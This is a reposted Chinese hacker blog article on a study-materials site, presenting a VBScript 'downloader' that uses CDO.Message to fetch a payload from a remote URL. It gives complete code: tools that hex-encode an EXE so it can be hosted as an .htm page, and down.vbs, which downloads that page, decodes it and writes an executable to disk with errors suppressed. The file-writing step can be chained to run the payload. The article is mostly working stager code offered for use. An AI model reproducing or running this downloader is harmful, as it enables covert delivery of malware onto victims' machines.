网站首页  汉语字词  英语词汇  考试资料  写作素材  旧版资料

请输入您要查询的考试资料：

　

标题 最新版利用CDO.Message做的vbs下载者
内容
    vbs下载者有很多了，我这里是一个伟大的发明，利用CDO.Message做的vbs下载者。伟大是装B的意思。
    NP先把代码写完了，详情看这里：http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html
    LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西，说是研究研究或许可以用来当下载者用。
    于是研究了一会。写出个粗糙的DEMO。
    exe2hex.vbs //xiaolu写的exe2vbs ，我修改成直接拖放,转成十六进制
    ================================================
    代码如下:
    'code by xiaolu
    'change by NetPatch
    on error resume next
    set arg=wscript.arguments
    if arg.count=0 then wscript.quit
    do while 1
    fname=arg(0)
    err.number=0
    Set Ado = CreateObject("adodb.stream")
    With Ado
    .Type = 1
    .open
    .loadfromfile fname
    ss = .read
    End With
    if err.number<>0 then
    if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
    else
    exit do
    end if
    loop
    if fname="" then Wscript.quit
    Set Fso=CreateObject("Scripting.FileSystemObject")
    Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
    File.write Bin2Str(ss)
    File.close
    Set fso=nothing
    Ado.close
    set Abo=nothing
    Function Bin2Str(Re)
    For i = 1 To lenB(Re)
    bt = AscB(MidB(Re, i, 1))
    if bt < 16 Then Bin2Str=Bin2Str&"0"
    Bin2Str=Bin2Str & Hex(bt)
    Next
    End Function
    ======================================
    下载者 down.vbs
    =============
    代码如下:
    on error resume next
    set arg=wscript.arguments
    if arg.count=0 then wscript.quit
    'code by NetPatch
    'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
    Set Mail1 = CreateObject("CDO.Message")
    Mail1.CreateMHTMLBody arg(0),31
    ss= Mail1.HTMLBody
    Set Mail1 = Nothing
    Set RS=CreateObject("ADODB.Recordset")
    L=Len(ss)/2
    RS.Fields.Append "m",205,L
    RS.Open:RS.AddNew
    RS("m")=ss&ChrB(0)
    RS.Update
    ss=RS("m").GetChunk(L)
    Set s=CreateObject("ADODB.Stream")
    with s
    .Mode = 3
    .Type = 1
    .Open()
    .Write ss
    .SaveToFile arg(1),2
    end with
    ==================================
    demo.htm内容时用exe2hex.vbs转EXE后获得的
    使用方法：
    1.exe2hex.vbs 把exe转成十六进制，放到网络上
    2.down.vbs http://xxx/demo.htm c:\good.exe
    由于NP写的不知什么原因，在我机器上执行后生成的exe，进程不会自动退出，我重新更新一下。
    ＝＝＝＝＝＝＝用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。＝＝＝＝＝＝＝
    代码如下:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title>package file v0.1</title>
    <meta http-equiv="Content-Type" content="text/html; charset=GB2312">
    <HTA:APPLICATION
    ID="package file v0.1"
    APPLICATIONNAME="package file v0.1"
    VERSION="0.1"
    SCROLL="no"
    INNERBORDER="no"
    CONTEXTMENU="yes"
    CAPTION="yes"
    ICON="no"
    SHOWINTASKBAR="yes"
    SINGLEINSTANCE="yes"
    SYSMENU="yes"
    MAXIMIZEBUTTON ="no"
    WINDOWSTATE="normal"
    NAVIGABLE="yes"
    />
    <SCRIPT LANGUAGE="VBScript">
    function transfert()
    dim filename
    filename = document.getElementById("srcFile").value
    if len(filename)>0 then
    dim oReq
    'on error resume next
    '//创建XMLHTTP对象
    set oReq = CreateObject("MSXML2.XMLHTTP")
    oReq.open "get","file:\\" & filename,false
    oReq.send
    ff = oReq.responseBody
    dim u,s,kk
    u = lenb(ff)
    redim kk(u-1)
    for i=0 to u-1
    s = hex(ascb(midb(ff,i+1,1)))
    if len(s)<2 then
    s = "0" & s
    end if
    'kk = kk & s
    kk(i) = s
    next
    make filename,join(kk,"")
    else
    document.getElementById("srcFile").focus
    msgbox "请选择要压缩的文件",16,"提示"
    end if
    end function
    function make(filename,data)
    dim htm,file
    file = mid(filename,instrrev(filename,"\")+1)
    htm = htm & data
    dim fso,f
    dim this_file
    this_file = file & "-pf.htm"
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set f = fso.OpenTextFile(this_file, 2, True)
    f.Write htm
    msgbox "生成文件" & this_file & "成功！",64,"生成"
    end function
    </SCRIPT>
    </head>
    <body marginleft=0 marginright=0 onload="window.resizeTo 389,145 ">
    请选择文件：<input type=file id="srcFile"><br><br>
    <input type=button value=" 转换 " onclick="transfert"> <input type=button value=" 关闭 " onclick="window.close">
    </body>
    </html>
    =====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上，用NP写的那个下载生成的htm也可以，代码更少＝＝＝＝＝＝＝＝＝
    代码如下:
    '//保存文件
    function saveFile(filename,str)
    set adodbStream = CreateObject("ADODB" & "." & "Stream")
    adodbStream.Type= 1
    adodbStream.Open
    adodbStream.write str
    adodbStream.SaveToFile filename,2
    adodbStream.Close
    end function
    '//VB数组转变成二进制格式
    Function MultiByteToBinary(MultiByte)
    Dim RS, LMultiByte, Binary
    Const adLongVarBinary = 205
    Set RS = CreateObject("ADODB.Recordset")
    LMultiByte = LenB(MultiByte)
    If LMultiByte>0 Then
    RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
    RS.Open
    RS.AddNew
    RS("mBinary").AppendChunk MultiByte & ChrB(0)
    RS.Update
    Binary = RS("mBinary").GetChunk(LMultiByte)
    End If
    MultiByteToBinary = Binary
    End Function
    function exec()
    '//屏蔽错误
    on error resume Next
    Set args = WScript.Arguments
    if args.Count = 0 then
    WScript.Echo "Usage: CScript down.vbs url c:\1.exe"
    WScript.Quit 1
    end If
    dim data,t,kk,filename,ss
    Set Mail1 = CreateObject("CDO.Message")
    Mail1.CreateMHTMLBody args.Item(0) ,31
    'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31
    ss= Mail1.HTMLBody
    Set Mail1=nothing
    '//得到数据
    data = ss
    '//得到文件名
    filename = args.Item(1)
    '//得到数据长度
    u = len(data)
    '//获得文件数组
    for i=1 to u step 2
    t = mid(data,i,2)
    kk = kk & ChrB(clng("&H" & t))
    next
    '//转变成二进制格式
    dataArry = MultiByteToBinary(kk)
    '//保存文件
    saveFile filename,dataArry
    end function
    exec()
随便看

　

在线学习网考试资料包含高考、自考、专升本考试、人事考试、公务员考试、大学生村官考试、特岗教师招聘考试、事业单位招聘考试、企业人才招聘、银行招聘、教师招聘、农村信用社招聘、各类资格证书考试等各类考试资料。

　

Copyright © 2002-2024 cuapp.net All Rights Reserved
更新时间：2025/5/21 9:37:26